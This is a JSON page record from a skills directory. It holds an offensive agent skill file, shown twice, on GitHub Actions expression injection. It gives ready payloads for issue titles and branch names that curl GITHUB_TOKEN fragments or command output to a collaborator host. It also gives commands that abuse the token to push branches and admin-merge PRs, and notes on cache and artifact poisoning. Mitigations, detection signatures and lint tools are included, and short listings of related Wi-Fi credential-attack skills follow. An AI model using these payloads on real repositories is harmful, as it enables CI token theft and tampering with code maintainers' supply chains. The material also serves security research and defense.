[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFFSDK6DYX4YK3C181Z4WM":3,"skill-same:01M7DFFSDK6DYX4YK3C181Z4WM":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFFSDK6DYX4YK3C181Z4WM","github-actions-injection",null,"GitHub Actions ${{ }} expression injection — attacker-controlled context (issue\u002FPR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact\u002Fcache poisoning, action tag-vs-SHA pinning.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fgithub-actions-injection\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: github-actions-injection\ndescription: \"GitHub Actions ${{ }} expression injection — attacker-controlled context (issue\u002FPR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact\u002Fcache poisoning, action tag-vs-SHA pinning.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"github actions expression injection script injection pull_request_target github_token actions\u002Fcheckout artifact cache action pinning sha tag\"\n  tags: ci-cd, github-actions, expression-injection, script-injection\n  mitre_attack: T1059, T1078.004, T1554\n---\n\n# GitHub Actions Expression Injection\n\n`${{ \u003Cexpr> }}` is interpolated by the runner **before** the shell sees the line. If the expression sources from untrusted `github.event.*`, the substituted text is parsed by `bash` (or `pwsh`) as code — full RCE on the runner, with whatever token + secrets the job exposes.\n\n## Untrusted context — the sinks\n\nThese fields are attacker-controllable in fork PRs, issues, comments, branches:\n\n| Context | Source | Notes |\n|---|---|---|\n| `github.event.issue.title` \u002F `.body` | issue create \u002F edit | any logged-in user |\n| `github.event.pull_request.title` \u002F `.body` | PR create \u002F edit | any forker |\n| `github.event.pull_request.head.ref` | branch name on fork | `;` `$()` `\\`` are valid Git branch chars |\n| `github.event.comment.body` | issue\u002FPR comment | broad reach |\n| `github.event.review.body` \u002F `.review_comment.body` | PR review | |\n| `github.event.head_commit.message` \u002F `.commits[*].message` | push \u002F PR | newlines allowed |\n| `github.event.pages[*].page_name` | `gollum` wiki | |\n| `github.head_ref` | shorthand for PR head branch | same as above |\n\n## Recon — find injection sinks\n\n```bash\n# Direct ${{ }} into run: blocks\ngrep -rnE '\\$\\{\\{\\s*github\\.(event\\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \\\n  \u003CREPO>\u002F.github\u002Fworkflows\u002F\n\n# actionlint flags most of these\ndocker run --rm -v \"$PWD:\u002Frepo\" rhysd\u002Factionlint:latest -color\n```\n\n## Sink pattern — the vulnerable workflow\n\n```yaml\n# VULNERABLE\non: [issues, pull_request_target]\njobs:\n  triage:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Echo title\n        run: |\n          echo \"New issue: ${{ github.event.issue.title }}\"   # \u003C-- sink\n```\n\n## Exploit payload — issue title\n\nOpen an issue titled:\n\n```\nhello\"; curl -s https:\u002F\u002F\u003CCOLLAB>\u002F$(printf %s \"$GITHUB_TOKEN\" | base64 -w0 | head -c 12) #\n```\n\nRunner expands to:\n\n```bash\necho \"New issue: hello\"; curl -s https:\u002F\u002F\u003CCOLLAB>\u002F$(printf %s \"$GITHUB_TOKEN\" | base64 -w0 | head -c 12) #\"\n```\n\nThe shell runs `curl` with the first 12 base64-chars of `GITHUB_TOKEN` as the URL path. (PoC pattern — truncate; **do not** exfil the full token.)\n\n## Branch-name injection\n\n```bash\n# Fork → create branch with a shell-meta name\ngit checkout -b 'x\";curl -s https:\u002F\u002F\u003CCOLLAB>\u002F$(id)#'\ngit commit --allow-empty -m bn\ngit push origin HEAD\ngh pr create --title typo --body typo --repo \u003COWNER>\u002F\u003CREPO>\n```\n\nIf any workflow does `echo ${{ github.head_ref }}` in a `run:`, the runner executes `id` and posts the result.\n\n## `pull_request_target` + PR-head checkout\n\n```yaml\n# VULNERABLE\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n        with: { ref: ${{ github.event.pull_request.head.sha }} }\n      - run: npm ci && npm test\n```\n\nTwo attack paths on the same workflow:\n\n1. **Code execution** — fork edits `package.json` `postinstall` (see `poisoned-pipeline-execution\u002FSKILL.md`).\n2. **Expression injection** — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any `${{ github.event.* }}` sink in the base workflow is still exploitable via title \u002F body \u002F branch name.\n\n## Safe pattern (defender)\n\n```yaml\n# Pass via env, never interpolate directly\n- name: Echo title\n  env:\n    ISSUE_TITLE: ${{ github.event.issue.title }}\n  run: echo \"New issue: $ISSUE_TITLE\"\n```\n\n`$ISSUE_TITLE` is expanded by `bash` only — shell-meta inside `$ISSUE_TITLE` becomes literal text. Note this still requires `set -u` or careful quoting; double-quote the variable.\n\n## `GITHUB_TOKEN` permission abuse\n\nIf the workflow does not set `permissions:` explicitly, the token defaults to whatever the repo \u002F org default is — historically `read-all` \u002F `write-all`. With write scope you can:\n\n```bash\n# From inside the runner — push to a release branch via the token\ngit remote set-url origin \"https:\u002F\u002Fx-access-token:${GITHUB_TOKEN}@github.com\u002F${GITHUB_REPOSITORY}.git\"\ngit push origin HEAD:refs\u002Fheads\u002Frelease\u002Fx\n\n# Create a release\ngh release create v0.0.0-poc --notes \"research\" --target $GITHUB_SHA\n\n# Approve + merge a PR (if `contents: write` + `pull-requests: write`)\ngh pr merge \u003CN> --merge --admin\n```\n\nAlways check the effective scope:\n\n```bash\n# Inside the job — see what the token can do\ncurl -sI -H \"Authorization: Bearer $GITHUB_TOKEN\" https:\u002F\u002Fapi.github.com\u002F | grep -i x-oauth-scopes\ngh api \u002Frepos\u002F$GITHUB_REPOSITORY --jq '.permissions'\n```\n\n## Artifact \u002F cache poisoning\n\n`actions\u002Fcache` keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when `pull_request_target` is in play. Same for `actions\u002Fupload-artifact` followed by a deploy job that downloads + executes.\n\n```yaml\n# Smell — artifact used as build input without integrity check\n- uses: actions\u002Fdownload-artifact@v4\n  with: { name: build }\n- run: .\u002Fbuild\u002Frelease.sh   # \u003C- if attacker poisoned `build`, this runs attacker code\n```\n\n## Third-party action pinning\n\n```yaml\n# Tag-pinned — silently movable by the action author or anyone who hijacks the repo\n- uses: tj-actions\u002Fchanged-files@v44\n\n# SHA-pinned — immutable\n- uses: tj-actions\u002Fchanged-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8\n```\n\n`tj-actions\u002Fchanged-files` (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.\n\n```bash\n# List every third-party action and its pin style across the org\ngh api \"search\u002Fcode?q=uses+org:\u003COWNER>+path:.github\u002Fworkflows\" --jq '.items[].path' \\\n  | xargs -I{} gh api \"repos\u002F\u003COWNER>\u002F\u003CREPO>\u002Fcontents\u002F{}\" --jq '.content' \\\n  | base64 -d | grep -E 'uses:\\s*[^\u002F]+\u002F[^@]+@'\n```\n\n## Detection signatures\n\n| Signal | Defender view |\n|---|---|\n| `${{ github.event.*.title \\| .body \\| .ref \\| .message }}` in `run:` | static lint (actionlint, zizmor) |\n| Branch name containing shell metas (`;`, `$(`, backtick) | pre-receive hook on the org |\n| `pull_request_target` + `actions\u002Fcheckout` with `head.sha`\u002F`head.ref` | zizmor rule `dangerous-checkout` |\n| Token scopes `write-all` w\u002F no `permissions:` block | repo \u002F org default token policy |\n| Tag-pinned third-party action | `dependabot.yml` action-update review |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `actionlint` | First-line static check; flags 90% of expression-injection sinks |\n| `zizmor` (woodruffw) | Rust-based audit, catches `pull_request_target` + checkout patterns |\n| `octoscan` | Workflow scanner with PoC generation hints |\n| `gh` CLI | Inspect runs, logs, token scopes, approve fork-PR runs |\n| `gato-x` (praetorian-inc) | End-to-end PPE \u002F expression-injection automation |\n\n## Decision gate\n\n1. Open the PoC issue \u002F PR from a research account on a research fork; payload truncates the token to first 8-12 chars only.\n2. Use `interactsh` \u002F Burp Collaborator for the beacon. Do not POST the token anywhere durable.\n3. Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured.\n\n## References\n\n- GitHub Security Lab — \"Keeping your GitHub Actions and workflows secure\"\n- \"Untrusted input\" sink list — github.com\u002Fgithub\u002Fsecuritylab\u002Fissues\n- `tj-actions\u002Fchanged-files` (CVE-2025-30066) post-mortem\n- Synacktiv, NCC Group, Praetorian — Actions injection writeups\n","# GitHub Actions Expression Injection\n\n`${{ \u003Cexpr> }}` is interpolated by the runner **before** the shell sees the line. If the expression sources from untrusted `github.event.*`, the substituted text is parsed by `bash` (or `pwsh`) as code — full RCE on the runner, with whatever token + secrets the job exposes.\n\n## Untrusted context — the sinks\n\nThese fields are attacker-controllable in fork PRs, issues, comments, branches:\n\n| Context | Source | Notes |\n|---|---|---|\n| `github.event.issue.title` \u002F `.body` | issue create \u002F edit | any logged-in user |\n| `github.event.pull_request.title` \u002F `.body` | PR create \u002F edit | any forker |\n| `github.event.pull_request.head.ref` | branch name on fork | `;` `$()` `\\`` are valid Git branch chars |\n| `github.event.comment.body` | issue\u002FPR comment | broad reach |\n| `github.event.review.body` \u002F `.review_comment.body` | PR review | |\n| `github.event.head_commit.message` \u002F `.commits[*].message` | push \u002F PR | newlines allowed |\n| `github.event.pages[*].page_name` | `gollum` wiki | |\n| `github.head_ref` | shorthand for PR head branch | same as above |\n\n## Recon — find injection sinks\n\n```bash\n# Direct ${{ }} into run: blocks\ngrep -rnE '\\$\\{\\{\\s*github\\.(event\\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \\\n  \u003CREPO>\u002F.github\u002Fworkflows\u002F\n\n# actionlint flags most of these\ndocker run --rm -v \"$PWD:\u002Frepo\" rhysd\u002Factionlint:latest -color\n```\n\n## Sink pattern — the vulnerable workflow\n\n```yaml\n# VULNERABLE\non: [issues, pull_request_target]\njobs:\n  triage:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Echo title\n        run: |\n          echo \"New issue: ${{ github.event.issue.title }}\"   # \u003C-- sink\n```\n\n## Exploit payload — issue title\n\nOpen an issue titled:\n\n```\nhello\"; curl -s https:\u002F\u002F\u003CCOLLAB>\u002F$(printf %s \"$GITHUB_TOKEN\" | base64 -w0 | head -c 12) #\n```\n\nRunner expands to:\n\n```bash\necho \"New issue: hello\"; curl -s https:\u002F\u002F\u003CCOLLAB>\u002F$(printf %s \"$GITHUB_TOKEN\" | base64 -w0 | head -c 12) #\"\n```\n\nThe shell runs `curl` with the first 12 base64-chars of `GITHUB_TOKEN` as the URL path. (PoC pattern — truncate; **do not** exfil the full token.)\n\n## Branch-name injection\n\n```bash\n# Fork → create branch with a shell-meta name\ngit checkout -b 'x\";curl -s https:\u002F\u002F\u003CCOLLAB>\u002F$(id)#'\ngit commit --allow-empty -m bn\ngit push origin HEAD\ngh pr create --title typo --body typo --repo \u003COWNER>\u002F\u003CREPO>\n```\n\nIf any workflow does `echo ${{ github.head_ref }}` in a `run:`, the runner executes `id` and posts the result.\n\n## `pull_request_target` + PR-head checkout\n\n```yaml\n# VULNERABLE\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n        with: { ref: ${{ github.event.pull_request.head.sha }} }\n      - run: npm ci && npm test\n```\n\nTwo attack paths on the same workflow:\n\n1. **Code execution** — fork edits `package.json` `postinstall` (see `poisoned-pipeline-execution\u002FSKILL.md`).\n2. **Expression injection** — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any `${{ github.event.* }}` sink in the base workflow is still exploitable via title \u002F body \u002F branch name.\n\n## Safe pattern (defender)\n\n```yaml\n# Pass via env, never interpolate directly\n- name: Echo title\n  env:\n    ISSUE_TITLE: ${{ github.event.issue.title }}\n  run: echo \"New issue: $ISSUE_TITLE\"\n```\n\n`$ISSUE_TITLE` is expanded by `bash` only — shell-meta inside `$ISSUE_TITLE` becomes literal text. Note this still requires `set -u` or careful quoting; double-quote the variable.\n\n## `GITHUB_TOKEN` permission abuse\n\nIf the workflow does not set `permissions:` explicitly, the token defaults to whatever the repo \u002F org default is — historically `read-all` \u002F `write-all`. With write scope you can:\n\n```bash\n# From inside the runner — push to a release branch via the token\ngit remote set-url origin \"https:\u002F\u002Fx-access-token:${GITHUB_TOKEN}@github.com\u002F${GITHUB_REPOSITORY}.git\"\ngit push origin HEAD:refs\u002Fheads\u002Frelease\u002Fx\n\n# Create a release\ngh release create v0.0.0-poc --notes \"research\" --target $GITHUB_SHA\n\n# Approve + merge a PR (if `contents: write` + `pull-requests: write`)\ngh pr merge \u003CN> --merge --admin\n```\n\nAlways check the effective scope:\n\n```bash\n# Inside the job — see what the token can do\ncurl -sI -H \"Authorization: Bearer $GITHUB_TOKEN\" https:\u002F\u002Fapi.github.com\u002F | grep -i x-oauth-scopes\ngh api \u002Frepos\u002F$GITHUB_REPOSITORY --jq '.permissions'\n```\n\n## Artifact \u002F cache poisoning\n\n`actions\u002Fcache` keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when `pull_request_target` is in play. Same for `actions\u002Fupload-artifact` followed by a deploy job that downloads + executes.\n\n```yaml\n# Smell — artifact used as build input without integrity check\n- uses: actions\u002Fdownload-artifact@v4\n  with: { name: build }\n- run: .\u002Fbuild\u002Frelease.sh   # \u003C- if attacker poisoned `build`, this runs attacker code\n```\n\n## Third-party action pinning\n\n```yaml\n# Tag-pinned — silently movable by the action author or anyone who hijacks the repo\n- uses: tj-actions\u002Fchanged-files@v44\n\n# SHA-pinned — immutable\n- uses: tj-actions\u002Fchanged-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8\n```\n\n`tj-actions\u002Fchanged-files` (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.\n\n```bash\n# List every third-party action and its pin style across the org\ngh api \"search\u002Fcode?q=uses+org:\u003COWNER>+path:.github\u002Fworkflows\" --jq '.items[].path' \\\n  | xargs -I{} gh api \"repos\u002F\u003COWNER>\u002F\u003CREPO>\u002Fcontents\u002F{}\" --jq '.content' \\\n  | base64 -d | grep -E 'uses:\\s*[^\u002F]+\u002F[^@]+@'\n```\n\n## Detection signatures\n\n| Signal | Defender view |\n|---|---|\n| `${{ github.event.*.title \\| .body \\| .ref \\| .message }}` in `run:` | static lint (actionlint, zizmor) |\n| Branch name containing shell metas (`;`, `$(`, backtick) | pre-receive hook on the org |\n| `pull_request_target` + `actions\u002Fcheckout` with `head.sha`\u002F`head.ref` | zizmor rule `dangerous-checkout` |\n| Token scopes `write-all` w\u002F no `permissions:` block | repo \u002F org default token policy |\n| Tag-pinned third-party action | `dependabot.yml` action-update review |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `actionlint` | First-line static check; flags 90% of expression-injection sinks |\n| `zizmor` (woodruffw) | Rust-based audit, catches `pull_request_target` + checkout patterns |\n| `octoscan` | Workflow scanner with PoC generation hints |\n| `gh` CLI | Inspect runs, logs, token scopes, approve fork-PR runs |\n| `gato-x` (praetorian-inc) | End-to-end PPE \u002F expression-injection automation |\n\n## Decision gate\n\n1. Open the PoC issue \u002F PR from a research account on a research fork; payload truncates the token to first 8-12 chars only.\n2. Use `interactsh` \u002F Burp Collaborator for the beacon. Do not POST the token anywhere durable.\n3. Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured.\n\n## References\n\n- GitHub Security Lab — \"Keeping your GitHub Actions and workflows secure\"\n- \"Untrusted input\" sink list — github.com\u002Fgithub\u002Fsecuritylab\u002Fissues\n- `tj-actions\u002Fchanged-files` (CVE-2025-30066) post-mortem\n- Synacktiv, NCC Group, Praetorian — Actions injection writeups\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ci-cd, github-actions, expression-injection, script-injection","execution","github actions expression injection script injection pull_request_target github_token actions\u002Fcheckout artifact cache action pinning sha tag","T1059, T1078.004, T1554","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fgithub-actions-injection","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill github-actions-injection",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill github-actions-injection",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill github-actions-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fgithub-actions-injection\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]